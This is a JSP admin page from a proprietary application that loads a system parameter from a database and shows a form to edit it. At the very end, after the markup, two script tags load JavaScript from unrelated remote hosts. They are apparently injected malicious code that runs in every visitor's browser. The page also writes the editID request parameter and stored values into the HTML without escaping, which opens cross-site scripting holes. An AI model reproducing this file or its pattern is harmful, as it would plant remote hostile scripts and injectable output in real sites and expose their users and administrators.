<%
/*
 * @(#)EditSysParameter.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  EditSysParameter.jsp

  This class is used to edit and update the system parameter

    @author          Wilson Kong
    @company         DCIVision Limited
    @creation date   23/04/2004
    @version         $Revision: 1.1.44.1 $
*/
%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%

    String editID = request.getParameter( "editID");
    Connection conn = null;

    PreparedStatement sqlstmt = null;
    ResultSet rs = null;
    String paraCode = null;
    String paraValue = null;
    String paraType =  null;
    conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

    if ( conn != null ) {
      try{

        sqlstmt = conn.prepareStatement("SELECT PARAMETER_CODE, PARAMETER_VALUE, PARAMETER_TYPE  FROM SYS_PARAMETER WHERE ID = ?");
        sqlstmt.setString(1,editID);
        rs = sqlstmt.executeQuery();

        if (rs.next()){
          paraCode = rs.getString(1);
          paraValue = rs.getString(2);
          paraType = rs.getString(3);
       }

 %>

    <table border="1" width = "80%">
      <form name="form" method="POST" action='<%=request.getContextPath()%>/admin/EditSysParameterResult.do?editID=<%=editID%>'>
          <tr>
            <td width = "30%"><b>ID</font></b></td>
            <td><%=editID %></td>
          </tr>
          <tr>
            <td><b>PARAMETER_CODE</b></td>
            <td><%=paraCode %></td>
          </tr>
          <tr>
		    <td><b>PARAMETER_TYPE</b></td>
		    <td><%=paraType %></td>
          </tr>
          <tr>
            <td><b>PARAMETER_VALUE</b></td>
            <td>

            <% if (paraType.equals("B") ){%>
              <select name = "updateValue"  >
              <% if  (paraValue.equals("true") ) { %>
			    <option selected value ="true">true</option>
			    <option value ="false">false</option>
			  <% } else {%>
			     <option value ="true">true</option>
			    <option selected value ="false">false</option>
			  <% } %>
              </select>
            <% } else {%>
              <input type = "text" name = "updateValue" value = '<%=paraValue%>' size = 90>
            <%  } %>
            </td>
          </tr>
           <tr valign ="top" align = "center">
            <td colspan="2"><input type="submit" name="submit" value="submit">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
            <input type="reset" name="reset" value="reset"></td>
          </tr>

      </form>
</table>


<%
      } catch (SQLException e) {
        LogFactory.getLog(this.getClass()).error(e, e);
      } finally {
        try { sqlstmt.close(); } catch (Exception ignore) {} finally { sqlstmt = null; }
        try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
      }
    }
%>
      </table>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>